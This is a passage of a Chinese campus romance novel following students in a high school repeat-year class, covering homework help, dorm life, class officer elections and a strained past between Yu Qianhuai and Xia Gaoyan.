“我下课再给你。”
“谢谢谢谢。”马星河双手合十。
**
下课后。
虞浅怀的手机震动了一下。
她摸出来一看。
屏幕上方弹出一条好友申请消息——小马老板请求添加你为朋友。
打开微信,消息框内写着:我是马星河。
虞浅怀通过了好友申请。
下一秒,马星河的信息就发了过来。
“虞总,放学去校门口吃烧烤吗?我请你。”
她扬了扬眉。
他行动得也太快了吧?
这才认识几天就开始提出邀约了。
虞浅怀面无表情地打字。
“不了,我不吃宵夜。”
其实她吃。
但她戒了。
新学期当然要有新样貌。
对方再次发来消息。
“那我可以过来问你一道题吗?今天物理作业二大题的第三小问。”
那题他明明刚问过夏高严。
“可以。”
马星河收到消息,马上收起了手机。
然后拿起资料书从座位上站了起来。
夏高严下意识抬头看他离开的背影。
果然,对方朝着虞浅怀的座位方向走了过去。
他在座位上放下笔,嘴唇抿成一条直线。
虞浅怀的桌旁,马星河摊开教辅。
金铭没心没肺地探过头来。
“呀,这道题我也不懂。浅怀你讲的时候我也听一下!”
说着便斜着身子往虞浅怀这边凑。
马星河拿鼻孔出气,心道“我可谢谢你啊”。
和女神独处的
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机会就这么被破坏了。
虞浅怀把发丝撩到耳后,然后拿出了草稿本。
纤长的手指握着笔杆,迅速在上面写下几个步骤。
马星河的眼睛都快杵到草稿纸上了。
“虞总,你这个字神仙来了都看不懂吧!刚刚夏……”
他立马闭了嘴。
好险,差点说漏嘴了。
金铭接过话头:“下?什么下?”
马星河道:“吓死我了!嘿嘿。”他歪着嘴挠挠脖子。
虞浅怀睨他一眼。
“那你还要听吗?”
其实放做以前,她可没这么耐心。
今年她想着改变一下,对同学尽量友善些。
但马星河在消耗她的耐心。
“听啊,我听!”
他激动地说着,撑着后排桌角的手也跟着甩动了一下,碰掉了原本放得好好的笔袋。
“喂……”
后排笔袋的主人皱起了眉头。
马星河马上回头。
“抱歉,抱歉!”
然后手忙脚乱地把东西捡起来物归原主。
虞浅怀忍受着这一切,继续为他讲题。
算了。
以后还是高冷点好。
夏高严上完厕所回来,看见马星河还挤在她的座位旁边。
关键是资料书翻开的那一页正好是他和自己请教过的那道题。
他的视力很好,从大题的图例轮廓就认出来了。
心里顿时浮起一丝躁意。
马星河和她很熟吗?
能让她连厕所都不去也要给他讲题。
他记得她以前可没这么耐心。
夏高严薄唇微抿,下颚绷紧。
片刻后他拿起桌上的水杯喝了一口。
算了,他似乎没什么立场不爽。
不一会儿,第二节自习的预备铃响起。
马星河拿着书回到了座位。
而虞浅怀……起身上厕所。
她大摇大摆地走了出去,就好像根本没有听到响铃一样。
她路过一间又一间逐渐安静下来的教室,朝着卫生间的方向走去。
感觉晚上的空气比白天清冽不少,可能因为就快放学了,呼吸里都是轻松的味道。
31班和8班的方位正好相反,所以男女厕所的位置也倒过来了。
当看到祁韦的脸出现在门框里时,虞浅怀才意识到——她又走错了。
女孩的面颊上浮起一层薄红。
当然不是因为祁韦,而是因为她第N次走错了厕所。
但祁韦却不这么想。
他微笑着和她打招呼。
“虞同学。”
虞浅怀有点窘,抬起手掌小幅度挥了一下:“Hi~班长。”
然后装作是去办公室找老师的样子,右拐离开男厕。
祁韦转头看她的背影,嘴角牵起弧度。
他觉得她好可爱。
虞浅怀绕着教学楼的环形走廊走了一大圈,终于抵达了女厕。
因为已经打铃,女厕门口空无一人。
但里面传来细微的水声。
她进门后,看见一个女生在洗手台洗手。
一头微微卷起的短发垂下来盖住了那女孩的半张侧脸。
有一点眼熟,似乎是他们班上的人。
而且没记错的话,应该是过了一本线的几个人之一。
好像是叫方知意吧?她对这个人有印象。
女孩洗完手朝门口转身,和她对上视线。
对方略一迟疑,随即朝她礼貌地点点头。
虞浅怀嘴角微微上扬。
“方知意?”
没想到对方却兀地变了脸色。
5. 她不
女孩冷冷地看了她一眼。
“我叫刘畅。”
对方眼底掠过一丝玩味。
“方知意是个男的。”
虞浅怀有点尴尬。
“啊,不好意思。”
她伸出手指绞了绞耳侧的头发。
刘畅收回目光,甩了两下手上的水,然后转身出了厕所。
今天真是诸事不宜。
不仅走错厕所,还叫错名字。
回教室的路上,虞浅怀回想着刘畅的身形,总觉得看着有些眼熟,这个眼熟不仅仅是指她是31班的,而是她以前应该在学校里见过她。
是在哪里呢?
**
七中晚自习的第三节采取自愿留堂的原则。
一般留下来的都是住校生。
走读生也可以根据自身情况选择是否留堂。
譬如离家近的话,就可以上完一整节自习再回家。
各科老师偶尔会进来巡视,留下来的人可以举手问问题。
老师看到后,便会来到座位上轻声为学生讲解。
当然,对于高三生来说。
随着时间的推移和复习节奏的加快,要不了多久,所有人都会“自愿”留堂。
算是一个不成文的规定。
夏高严也加入了留堂大军,因为他现在住得很近。
他把挑选出来的一部分客观题做完后,开始收拾东西准备回家。
这会儿距离下课还有10分钟。
他看了一眼虞浅怀的座位。
意外地发现她居然也没走。
于是他手上的速度不自觉地慢了下来。
10:05。
第三节自习下课,虞浅怀伸了个懒腰。
她看着桌上的单词书,有点不情愿地收进了包里。
反正带回去也不一定会看就是了。
金铭是走读生,不过她也留了自习。
高四是最后的机会,每个人都想拼搏一番。
两人收拾好东西,起身往教室后门走。
夏高严的余光扫过虞浅怀的身影。
在她踏出门槛那一刻,他起身站了起来。
“严哥,等等我呗。”一个声音叫住了他。
马星河正往书包里塞文具。
夏高严停住脚步,大拇指挂在书包带子上等他。
好在马星河没耽误太久。
他俩出去的时候,还能看到不远处两个女孩一黄一黑的背影。
虞浅怀和金铭边走边聊。
“浅怀,你以前也住校吗?”
她摇摇头。
“这学期才住的,想节约一点时间。”
金铭耷拉着嘴角。
“我本来也想住校,我妈不同意,说我没人管只会更堕落,唉……”
虞浅怀笑笑。
“我也堕落。”
“可是你物理好好哦!数学也好!”
“就这两科而已。”
放学的人三三两两地走下楼梯。
夏高严的视线跃过褐色栏杆,正好能看到走在下一段台阶上的虞浅怀。
他不动声色地偶尔往底下撂一眼。
相比之下,身边的某人比他在意多了。
马星河每和他说一句话就朝下面瞅一次,脖子都快抻断了。
且他小幅度地加快着脚步,以至于他俩走到一楼的时候,已经赶上了虞浅怀和金铭。
加速度在此刻被他这个物理学渣运用到了极致。
“虞总!”
马星河拍了一下她的肩。
虞浅怀回过头去,猝不及防就看到了马星河旁默不作声的夏高严。
她不由一愣,不过旋即恢复自然。
女孩粲然一笑,眼睛亮亮的。
“嗨,马总。”
夏高严别过目光,发际线到耳根之间的皮肤泛起一层绯红。
马星河走到虞浅怀旁边,四人并排出了教学楼。
但她马上就要和他们分别。
“拜拜了大家,我回宿舍。”
虞浅怀在雕像前朝宿舍方向转过身体。
夏高严这才错愕地抬头。
她竟然住校了吗?
虞浅怀的目光轻轻扫过他的侧颜。
只停留了一秒。
月色旖旎,她看不清他的表情。
但总感觉那脸庞笼着一层忧郁。
“拜拜虞总!”
“拜拜浅怀。”
另两人前后声地和她挥手道别。
马星河偷瞄一眼无动于衷的夏高严。
发现两人果然不熟,连招呼都不打。
好歹也是老同学,这么生疏的吗?
他不理解。
出校门之后。
金铭到马路对面去坐公交车。
马星河拉住夏高严,指了指校门旁的某辆一体式推车。
“严哥,吃烧烤吗?我请你。”
夏高严摇头拒绝。
“不用了,谢谢。”
马星河一把揽过他的肩。
“那是我家的烧烤摊,我都和我爸说好了会带同学去,给点面子吧严哥。”
夏高严抬头看向那辆手推车。
车厢上写着“马氏烧烤”四个字。
难怪马星河的微信名叫小马老板,想必他父亲应该叫“马老板”。
他妥协了:“那好吧。”
小推车前,一名中年妇女正矜矜业业地给铁架上的肉串刷油。
这位妇女的老公,也就是马星河的父亲正佝着身子在后面清点货物。
放学的大部队一般会在9点多时出现。
等到下第三节自习时,客人已经不多。
只有一两个学生等在烧烤架前。
马星河把夏高严带了过去,大着嗓门喊道。
“妈!爸!这我新同学夏高严。”
他母亲听见声音,朝两人抬起头来。
妇女热情地招呼道。
“快来儿子,你和同学想吃什么?妈给你烤。”
马父也来到烧烤架前,熟练地把烤好的蔬菜和肉类放到一个大盆子里。
搅拌均匀。
夏高严还没来得及说话,马星河就眉飞色舞地介绍他。
“妈,严哥可是复读班的大神,从浙大退学来的!老牛了!”
他这么一说,正排队的两个学生立刻抬头看了过来。
夏高严顿时有点尴尬。
他不太喜欢这样,尤其每次都要和人解释一遍“为什么从浙大退学”。
马母听马星河这么说,眼里焕发出激动的神采。
“哟!这也太厉害了吧,小马快给你同学拿几个大肉串去。”
夏高严松了口气,还好阿姨没问那个问题,不过大半夜的,吃肉就算了。
他赶紧阻止道。
“不用了阿姨,我晚上不吃宵夜的,我要一块豆干就好。”
马父用胳膊碰了下马母。
“一看人小伙子就是不爱吃油腻的类型,你别整那大鱼大肉的。”
男人下巴上的胡茬沾了油烟,他满脸堆笑道。
“要不……再加一串苕皮?这俩都是我家的招牌素菜!”
夏高严颔了颔首。
**
虞浅怀回宿舍的路上。
许悠的消息已经往里进了三条。
因为怕打扰她学习,她一般都掐着时间点下课后才找她。
许O:我靠我靠我靠,我听他们说夏高严回来复读了?
许O:真的假的啊?!
许O:有点不敢相信,你快跟我说说到底怎么回事?
虞浅怀看了会屏幕,又摁熄了界面。
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还是回宿舍再聊吧。
其实今天早上看到夏高严的时候,她的心情还是有那么一点复杂。
那天发生的事她并没有全盘告诉许悠。
为了不吓坏她这个纯洁的小朋友。
许悠听到的版本是——夏高严那晚追着她出来,然后把她送回了家。
实际上真相是她那会儿哭着喊着要去死,宁肯去死也不要回去。
最后他逼不得已去酒店开了个房。
她还记得自己不停在他背上挣扎,害得他一路踉跄走成“之”字形。
他那么瘦的一副身躯,被她摇得骨头都快散架。
他就那么拖着一个疯疯癫癫的她,像个流亡者一样走进了路边的酒店,并第一次向父母撒了谎。
在那个冰凉的夜晚里。
他一言不发地承受着她所有的坏心情和坏脾气。
任掐任骂,没有吭过一声。
虞浅怀把手机揣进兜里,冷风刮过额前的碎发,惹得她轻轻打了个寒战。
几分钟后。
她款款上楼,推门进宿舍。
两个学妹立刻围了上来。
“虞仙女!你回来啦!”
大声叫她的是丁珏,性子比较活泼。
虞浅怀一边往桌子上放包,一边笑着说。
“怎么了小珏?”
另一个戴着粗框眼镜,皮肤有些黑的是冯铮。
冯铮抱着一本物理练习册站在丁钰背后,表情比丁珏紧张十倍。
虞浅怀勾勾手指。
“来吧,又是什么题?”
冯铮这才放松地笑了,露出一排不整齐的牙齿。
“虞姐,帮我看看这道题吧?”
女孩子们都很单纯,虞浅怀很乐意给她们讲题。
只是……
在她讲到一半的时候,寝室门突然从外面被人推开。
虞浅怀本能地吓了一跳。
而丁珏已经自然地打起了招呼。
“畅姐!”
虞浅怀猛地抬头。
……刘畅?
只见刘畅已经换了身睡衣,手里提着桶。
她和屋里的人懒懒地打了个招呼,而后径直去了阳台。
虞浅怀回头看向那个空着的床铺。
果然已经被放满了东西。
她注意到柜门上挂了一个大耳狗的收纳袋,用来装一些小物件。
总觉得有些眼熟。
须臾,她记起曲晶菁也有一个同款样式的手提包,也是这样的帆布材料。
不过大耳狗是很常见的图案,也不知道她怎么就拐了弯想到曲晶菁。
虞浅怀敛了情绪,回头继续给冯铮和小珏讲题。
她俩理科都不算太好。
但冯铮比丁珏更认真。
听说之前住这寝室的两女生都租了房子改为走读,所以床位才空了下来。
给学妹们讲完题之后,她提着桶出了寝室门。
路上零星几个人往回走着,不是打了水就是从大阳台那边晾了衣服回来。
她们的寝室也有阳台,但位置较窄,空间也有限。
部分人会选择把衣服或床单一类的东西晾到那边去。
接热水的地方没人,虞浅怀把桶放了下来。
她看一眼供水的大桶,上面一共有两个热水阀。
左边那个水龙头似乎有点漏水,不停地从龙头处往下滴着热水,右边没漏水的那个下面放着一个热水瓶,有点占位的意思。
其实这水不完全是开水,大约在60-70°左右,但她有点不想冒险。
于是她移开了那个热水瓶,把自己的桶放到了下面。
虞浅怀拧开水龙头,水柱笔直地往下冲,桶里开始往外腾起雾白的热气。
就在她接到一半的时候,有两个人突然朝她走了过来。
6. 她想
是温念和周红。
她俩去大阳台那边晾了衣服回来。
周红看着被虞浅怀撂到一边的热水瓶,嘴角轻抽了下。
她的面部肌肉微微跳动着,似乎在努力控制情绪。
虞浅怀抬头看了眼。
“稍等啊,我马上就好。”
温念大方地微笑。
“没事,我不急。”
她转头和周红说。
“小红,要不你先回去吧。”
周红立即换了副表情,弯起唇角道。
“没事,我等你。”
说完挽住了温念的胳膊。
虞浅怀并未在意周红的表情。
因为两人中的核心人物显然是温念。
这个女孩外表温婉,性格沉稳。
给人一种踏实可靠的感觉。
接水的过程中,虞浅怀低头看向温念的热水瓶。
心道真聪明,这样多接一点的话明天早上的热水也有了。
片刻后,她拧上水龙头。
“我好了,你来吧。”
虞浅怀提过接好水的桶。
“拜拜二位。”
温念柔声道。
“拜拜。”
虞浅怀侧头挥了下手,提着桶离开了接水处。
她走后没多久,周红就开始吐槽。
“真无语,她怎么不用左边的水龙头啊?还要我们等。”
说完又纠正:“我的意思是,还要你等。”
温念面色柔和地安慰同伴。
“没事,我们占位本来也不好。而且也没等多久嘛。”
周红叹气:“唉,你就是脾气太好。”
不知怎的,她就是不喜欢虞浅怀。
她总觉得,作为一个女孩子,她太招摇了。
而这份招摇,无非就是想哗众取宠,引起他人的注意。
甚至是为了特意引起男生的注意。
那她就更不齿了。
她更喜欢温念这种知书达理不争不抢的性格。
**
虞浅怀回到寝室,洗漱完毕后,她撕开脚上的纱布。
突然想起那瓶云南白药,于是把它从包里拿了出来。
她看了眼标签,又觉得马上快好了,何必再开一瓶新药。
于是重新塞回包里,然后从桌上拿了一片创口贴撕开贴上。
她想着,既然是老吕给的,那就充公好了。
这几天班委该定下来了,届时会班里会设置一个医药箱,由生活委员管理。
到时候她就把这药放进去。
处理好脚趾头之后,虞浅怀揣着手机爬上了床,开始回复许悠的消息。
浅坏:嗯,是真的。
许O:!!!
许O:你有没有问他为什么?
浅怀:问了,他说想考清华。
许O:哇塞,志向远大啊!
许O:曲晶菁知道他和你一个班,气得脸都绿了哈哈!
浅怀:那没办法,只有一个复读班啊。
许O:你别管她,机会难得,你趁机多和他抱下大腿吧!
虞浅怀额角一扯。
浅怀:[疑惑]为什么要抱大腿?
许O:他成绩好,你俩又是老同学,此时不抱,更待何时?!
虞浅怀慢条斯理地打字。
浅怀:再说吧,我怕耽误了他的大好前程。
许O:好吧好吧,没事,我觉得你自己也能行,我相信你!我可是你的忠实粉丝[爱心]。
虞浅怀勾起唇角,正要打字,许悠又发来一条。
许O:忠实粉丝发来灵魂拷问,今天背单词了吗?
虞浅怀顿时笑容凝滞,她含糊地回了个“嗯”。
然后在床上挣扎半天,最后还是下床从包里掏出了那本单词书。
其实她的英语一般能及格,并没有高考那么差。
而且几次模拟考的总分都保持在580-590这个分数段。
如果当时顺利参加自主招生,去一个中档985不成问题。
可惜被她错过了机会。
几个月之后,又因为身体和心理的双重打击,连高考这张最后的底牌也彻底被毁。
往事不堪回首。
但反过来也可以说,她今年的机会非常大。
因为触底反弹,置死而后生。
只要能稳住之前模拟考的成绩,她就算赢。
更何况没了竞赛的干扰,培训时缺的那些课完全可以在这一年补回来。
实际上她都不需要提升英语,只需要把化学和生物从中等变成优等即可。
不过这样的想法同样也是一个双刃剑。
因为缺乏动力,虞浅怀痛苦地看了眼第一页的“abandon”之后,倦意就重重袭来。
最后她放弃抵抗,翻了个身,沉沉地睡了过去。
……
可怜的单词书,被挤到了床沿和墙壁间的夹缝里。
**
第二天,吕永昌在课上宣布了选班委的事。
因为种种原因,开学后只选了班长。
所以今天要把剩下的班委补齐。
对虞浅怀来说,这种时候最无聊了。
她把脑袋半埋在胳膊里,昏昏欲睡。
吕永昌拿着花名册,眯着眼睛在班里巡视了一圈,开始点兵点将。
“郑华,语文课代表。”
“温念,英语课代表。”
“卢姗姗,数学课代表。”
……
周红激动拉拉温念的衣角。
“哇!念念,你是英语课代表诶。”
温念平淡风轻地笑了笑。
作为一个英语分数常年高过130的人,她不甚意外。
吕永昌的目光落在某个看不见脑袋的位子。
“虞浅怀,物理课代表。”
虞浅怀被吓得一激灵,立刻从臂弯里抬起头来,她哭丧着脸道。
“老师,可以不当课代表吗?”
女孩的表情看着很苦恼。
吕永昌睨她一眼,略一思忖,改口道。
“那你当纪律委员吧。”
什么?
虞浅怀继续拒绝。
“不是的老师,我就不想当班委!”
吕永昌铁面无情。
“不行,就这么定了。”
“为什么啊?”
她有点绝望了。
她最恨被这种官僚主义侵蚀。
吕永昌正色道。
“如果你还想像以前在八班那样自由散漫,那你就想多了,当班委是为了约束你的行为!班干部要以身作则。”
听到这话,虞浅怀顿时偃旗息鼓,败下阵来。
她双眉轻蹙,嘴里嗫嚅着。
“唉,那好吧。”
吕永昌继续道。
“以后迟到的同学下午做清洁,他们的名字就由你来记。”
虞浅怀嘴巴半张,有苦难言。
……看来以后是不能迟到了。
吕永昌继续宣布。
“夏高严,物理课代表。”
虞浅怀刚刚才撂下的眼皮又抬了起来。
听到被任命,夏高严坐直了身子。
他下意识地朝虞浅怀看了过去。
其实物理这科,他从来都没有考过她。
因为虞浅怀不是满分就是最高分。
在八班是神一样的存在。
如果她没得满分,那就说明题出得太难了。
周红兴奋地看向温念。
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“是那个大学霸诶!”
温念嘴角动了动,没有搭话。
“他好帅啊啊啊。”
周红继续犯花痴,温念垂下眼睫。
“是么?”
周红凑过来偷偷地说。
“我觉得你俩有点配。”
温念脸上顿时飞起一抹红晕。
“……你别乱说。”
“嘿嘿我不管,英语课代表和物理课代表,这CP我磕定了!”
温念扶额,有些无奈道。
“你别这样小红。”
周红见她表情真的有些不悦,这才消停下来。
**
选完课代表之后,作业终于有了归属。
不再由祁韦一人代劳了。
但收物理作业的时候,虞浅怀的不在手上,被马星河给借走了。
所以当夏高严过来询问她的时候,她表现得有点不耐烦。
“马星河没给你说么?我的作业在他那。”
虞浅怀的语气不太好。
她眼皮轻抬,悠悠地转了两下手中的笔。
在她看来,两人既然是同桌,哪有不知道的道理。
他这是此地无银三百两,故意来找她的茬。
但夏高严确实不知道,因为马星河心里有猫腻。
大学霸就在身边,他还舍近求远去虞浅怀那里借作业。
这心思也太昭然若揭了,所以他没有告诉他。
夏高严耳根通红,忍气吞声道。
“抱歉,我这就去问他。”
说完就要抱着一大堆作业离开,单薄的身子透着一股倔强。
“你等等。”虞浅怀叫住了他。
夏高严停下来,转头看她,眼里雾蒙蒙的。
她指了指他手里的练习册。
“你先放这吧,一会来拿。”
因为她的座位离前门比较近,她想着给他行个小小的方便。
没想到夏高严冷冷拒绝。
“不用。”
说完直接一个转身,头也不回地走掉了。
虞浅怀把笔往桌上一扔。
“呵。”
金铭在旁边,通过他俩之间剑拔弩张的气氛得出了和马星河一样的结论。
——两人确实不太熟。
不仅不熟,甚至还有点不对付。
夏高严回到座位,看到马星河已经做贼心虚地把他那组的作业码好放到了他的桌上。
他往下翻了翻,果然找到了虞浅怀的那本。
他轻轻把它抽了出来,放到了正确的小组里面。
然后抱着练习册去了办公室。
刘明微笑着指挥他把作业放到了办公桌的左上角,然后抬手道。
“你稍微等一下。”
夏高严点点头,两手交叠放到身前,静待老师发话。
刘明在看手里的成绩单。
他很快就找了他的,排在班里前几名。
因为理综只能看到总分,上面的单科成绩是由学生对答案后自行填写的。
“物理考了100分左右,这个成绩还可以,但是想要进一步提高,可能会有难度。”
刘明抬头问他。
“你可以告诉老师大概错了哪些题吗?”
夏高严挠挠头,努力回忆他在网上对过的答案。
“好像错了一道多选,还有最后两道大题的第二和第三小问。”
刘明点了点头,继续道。
“看得出你的基础还是不错的,感觉问题出在压轴题上面,你平时做那种有难度的题手感怎么样?”
夏高严沉默了,其实他不知道该怎么开口。
就在他回顾和组织语言的时候,办公室的门突然被推开。
有人从外面进来了。
7. 她不
这个人是温念,她抱着一大摞英语作业走了进来。
因为英语老师和物理老师的办公室是同一间,所以她也来了这里。
温念微微抬头,目光朝刘老师那边探了一眼。
不过当路过夏高严的时候,她已经收回视线,并刻意保持了一个目不斜视的姿态。
她不声不响地把作业交到了英语老师的办公桌上,又平静无波地原路返回。
整个过程表现出一种漠不关心的态度。
只是在即将走出门口的时候。
她再次以迅雷不及掩耳之势回头看了他一眼。
且心跳微微加速。
只因她想起了周红说的那句“你俩有点配。”
但想到这句话的瞬间,罪恶感也随之而来。
明明自己都严厉阻止了周红的发散,偏偏为何又要在此刻想起她所说的话?
大概因为对方过于优秀,很难让她像以前那样彻底无视吧。
温念暗叹一声,稳了稳心神,快步离开了办公室。
真正心无旁骛的人是夏高严。
他压根就没注意到谁进来了,谁又走了。
因为他一直沉浸在刚才的问题里。
同时不停想起虞浅怀做过的每一张漂亮的物理试卷。
面对刘明的问话,他有些惭愧地说道。
“做高难题的手感确实不太好。”
刘明摸着下巴。
“那你要开始重视起来了,如果你想取得进步的话。”
言下之意已经很明显了。
从浙大退学是个壮举,但不意味着就一定会创造奇迹。
潮水褪去之后,他感受到了现实的压力。
见他表情沉重,刘明微笑着鼓励他。
“没事,也别太担心,你还有一年的时间,我教过的学生,就你这个分数段,3个月提几十分的都有。”
“这个人怎么就不能是你呢?”
“从现在开始,你可以针对自己的情况做一些特殊训练,不一定要跟着大部队走。”
“有什么可以来办公室找我,随时欢迎。”
夏高严神色稍稍缓和。
“嗯好的,谢谢老师。”
“行,那你去吧。”
“嗯。”
夏高严微微鞠了下身子,然后退出了办公室。
走廊上有风穿堂而过,轻轻掀起他的刘海。
感觉鼻子又开始发痒。
复读似乎并没有他想像的那么容易。
迎面的冷风让他清醒了一大半。
成绩和她。
会不会都只是一场幻觉?
**
夏高严回到教室的时候,虞浅怀正在黑板角落写清洁人员的名字。
天气转凉,春困秋乏。
最近迟到的人有点多,这已经是写的第二天的了。
她穿着一件紫色的短袖和一条灰黑色带细小雪花点的牛仔裤。
就今天的温度而言,这装束在夏高严看来绝对是只要风度不要温度的体现。
不过他的担心通常是多余的。
她不太怕冷。
至少不像他这样动不动就身体出毛病。
夏高严拿起水杯喝水,发现已经空了。
他站了起来,准备去饮水机那接一些。
虞浅怀拿着粉笔,在生活委员写好的明天的值日小组下面加上迟到人员的名字。
一笔一画,写得很认真。
因为她的字迹太潦草,如果写得不清楚,到时候误了事就不好了。
不得不说,这小小芝麻官果然如同老吕说的那样,培养了她的责任心。
与此同时,黑板旁边的公用桌子面前。
祁韦在医药箱里发现了那支未开封的云南白药喷雾。
他的心底掠过一丝失望,不过这种情绪并没有持续太久。
因为他想起了当时自己扯的那个理由。
既然用了老吕的名义,那她这样做不仅没问题,还显得非常大气。
他很快就想通了。
祁韦放下喷雾,不动声色地走上了讲台,在虞浅怀背后观看了一小会儿。
女孩用力把名字写成小学生字体的行为在他眼里也显得好可爱。
她做什么都好可爱,物理还那么优秀,简直完美符合他心目中的理想女友形象。
说到完美,肯定会有人不认同。
虞浅怀只是物理超神而已,并非样样精通。
但这恰恰是祁韦觉得精妙的地方。
如果她真是那种六边形战士,那他大概会敬而远之。
正因为她不是,他才有机会一展风采,助力她的成绩,为她遮风挡雨。
祁韦拿起黑板擦把值日生没擦干净的痕迹用力消除。
不一会儿就“顺其自然”地来到了虞浅怀旁边。
“你的脚好些了吗?”
虞浅点点头。
“嗯,差不多已经好了。”
夏高严拿着水杯抵达了讲台。
于是这对话漫不经心地飘进他的耳朵。
上次她值日那天似乎就听她和同桌提过,说什么“脚还没好”。
今天居然又有人来问。
好像这班的每个人都比他要了解她。
就晚来三天而已,他到底错过了些什么?
祁韦很快把话题扯到了其他方面。
“下周就要摸底考试了,你准备得怎么样?”
虞浅怀摇摇头。
“我不准备。”
祁韦有点意外,但感觉对她来说也算正常。
不过他还是没忍住问了句。
“是已经很有信心了吗?”
虞浅怀已经写完了所有名字,她两只手来回拍了下掌心里沾的粉笔灰。
“不是啊,摸底考试嘛,本来就是摸底的,不复习才能看出真实水平吧?”
祁韦顿时语塞,好像很有道理的样子。
“好吧。”
他的确是一个包袱很重的人。
虽然因为夏高严的到来,已经痛失了第一名的宝座,但他还想在摸底考试里保住第二名的位置。
说到第一名,此刻不正好在旁边接水吗?而且刚好接完。
于是祁韦大方地叫住了他。
“夏高严同学。”
虞浅怀顿时吓了一跳。
刚刚她身体右转朝着祁韦说话,根本没注意到背后的光景。
夏高严听见祁韦叫他,也惊了一瞬。
他强作镇定,拧紧杯盖,转身走了过来。
来到和虞浅怀一线之隔,和祁韦面对面的位置。
他的外套布料擦过她光着的手臂。
一股淡淡的柠檬味钻入她的鼻腔。
虞浅怀被这两个人挡在黑板一角。
走也不是,不走也不是。
她索性留下来看看祁韦到底想说些什么。
“有什么事吗?”
夏高严淡淡地问。
祁韦倒是很坦荡。
“没事,就是想问一下学霸同学,下周的摸底考试你有复习吗?”
夏高严顿了下,实话实说。
“有。”
虞浅怀头皮一炸。
嚯,这人是不是故意跟她过不去?
如果他刚刚在接水的话,那应该有听到她的话吧?
结果马上就过来打她的脸。
虞浅怀满脸黑线,冷冷地说了句。
“麻烦让一下,我要回座位了。”
甚至没抬头看他一眼。
夏高严握紧手里的水杯,嘴唇抿成一条直线。
但还是给她让开了一条路。
女孩的肩膀轻轻撞过他的手臂,疾风一般地走出了二人的包围圈。
夏高严叹了口气,本想回过头来继续应付祁韦的话题。
却发现对方正直勾勾地看着虞浅怀离开的背影。
眼里还蕴含着浓浓的不舍。
难道他也……?
夏高严突然有点心烦意乱。
还什么都没做,他的竞争对手就已经有两个了。
而且刚刚虞浅怀的态度还冷得寒气逼人。
所以后续祁韦说什么他都不在意了。
只机械地点头回复,最后心神不宁地回了座位。
他眉头紧锁地从书立里抽出了试卷袋。
赶紧做套数学卷子冷静
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冷静。
虞浅怀和他不一样。
刚才她虽然不爽,但一旦回到座位,这事就被抛在了脑后。
女孩子们在聊一些小道消息。
她顺理成章地加入了其中。
“你们听说了吗?下次摸底考试之后可能要重新排座位。”
说话的人是前排的牛欣。
金铭听见这话顿时大惊失色。
“不要啊!浅怀,我不想失去你呜呜!”
她立刻抓住了虞浅怀的胳膊,仿佛她马上就要离开似的。
虞浅怀安慰她道。
“应该只是局部调整吧?上次不也是?别太担心。”
牛欣思考了下。
“我估计也是,但是调是肯定要调的。”
见她说得有模有样,虞浅怀问道。
“这是哪里的消息呀?可靠吗?”
“我听温念她们寝室的人说的,说是温念去办公室的时候无意间听到老吕和其他老师提的。”
虞浅怀心里顿时有了数。
她所在的寝室是402,温念是403寝,就在她隔壁,那个寝室除周红外,还有徐雅晴和卢云。
她继续安慰金铭。
“你别担心,这么短的时间,不可能大动的。”
金铭这才稍微安心。
不一会儿,话题突然转移到她身上。
金铭朝她挤挤眼。
“班长刚刚在讲台上和你聊什么呀?”
虞浅怀垂下眼睫。
“没什么,他就问我脚好了没。”
“哎唷,我怎么觉得班长挺关心你的呀!”
虞浅怀笑得有些勉强。
牛欣八卦地看了二人一眼,也开始添油加醋。
“哦哟……班长吗?我看行!班长成绩又好,又会关心人,简直绝世好男人!”
两人正起着哄,预备铃突然响了起来。
这场撮合才就此打住。
虞浅怀暗暗松了口气。
**
做完一张卷子之后,夏高严心里的躁动并未平复。
他终于还是摸出了手机。
打开了和虞浅怀的聊天对话框。
最近的所有消息都是他发的,但她没有回复过一条。
7月28日上午10:12
——“浅,你怎么走了?”
7月28日晚上19:23
——“浅,昨晚对不起。”
7月28日晚上19:34
——“你会不会怪我?”
——“作为一个男生,我本该考虑更多的。”
——“不过没关系,我会对你负责。”
——“但是你能不能先回我消息?”
7月28日晚上20:30
——【通话已取消】
——【通话已取消】
7月29日上午09:02
——【4"(((】
(语音消息:我来找你好不好?)
8月2日凌晨00:00
——“浅,七夕快乐。”
没有任何回复,除了酒店床头柜上留下的那张字条,其余什么也没有。
手机关机。
朋友圈也没再更新过状态。
当然,也可能是把他屏蔽了。
他最终放弃了与她对话的可能。
因为他不喜欢勉强。
那个支离破碎又如梦似幻的夜晚,好像从未存在过一般。
那时他认命了,反正她之前也没正眼瞧过自己。
能与她耳鬓厮磨、共度云雨,他已经是最幸运的男人,不敢奢求再多。
不过——
现在不一样了。
既然已经回来。
决不能再像当初那般懦弱逃避。
夏高严深吸一口气。
斟酌了一会,在输入框里打下了一句话。
“你的脚怎么了?”
打完之后,他又删掉换成另一句。
“放学有空吗?”
犹豫半天,小心翼翼地按下了发送键。
没想到发出去的瞬间,文字旁边赫然出现了一个红色感叹号。
8. 她想
与此同时,一行灰色小字飘在那句话的下方。
“浅坏开启了朋友验证,你还不是他(她)朋友……”
夏高严当场愣住,全身的气血都往上涌。
那种屈辱的感觉又上来了。
他到底是犯了什么错误,能让她如此厌恶自己?
男生嘴唇发白,把手机锁上屏幕重新放进了桌兜里。
刚刚才鼓起的勇气在顷刻间荡然无存。
下自习之后,夏高严耷拉着脑袋。
表情恹恹的。
马星河毫无知觉地走在旁边,刚想提起一个话头,被突然出现的卢云抢白了过去。
“喂,马星河,你天天在班里宣传你家烧烤摊,什么时候也给我们住校生带点解解馋呗!”
卢云一边说一边挤到马星河身旁。
一起的还有温念和周红,她们仨都是403寝的。
五人并排后,走廊略显拥挤。
卢云是个吃货,住校之后只能周末才能出校。
这让她这个夜宵常客极为不习惯,于是打上了马星河的主意。
马星河干咳两声道。
“可以啊,收你3块钱跑腿费不过分吧?”
周红马上白了他一眼。
“拜托,人家外卖骑士那么远送过来才3块!你就走这两步路就要3块?!黑心商家!”
马星河笑道。
“不收也行,那就不打八折了。”
卢云努努嘴。
“切,小气!”
马星河觉得玩笑开得差不多了,正经道。
“好了好了,我说着玩的,还是开学季八折优惠。说吧,你们想吃什么?一会儿烤完我给你们带进来。”
卢云听见后,两眼放光道。
“真的假的?这么好?”
马星河点头。
“不过我一般在那儿待不了多久,下次你最好提前和我说,我让我妈提前烤好,这样放学一出去我就能去拿,节约时间。”
“好啊好啊!那以后我微信上和你预订吧。”
“可以。”
卢云立刻转头问温念和周红。
“你俩想吃什么?”
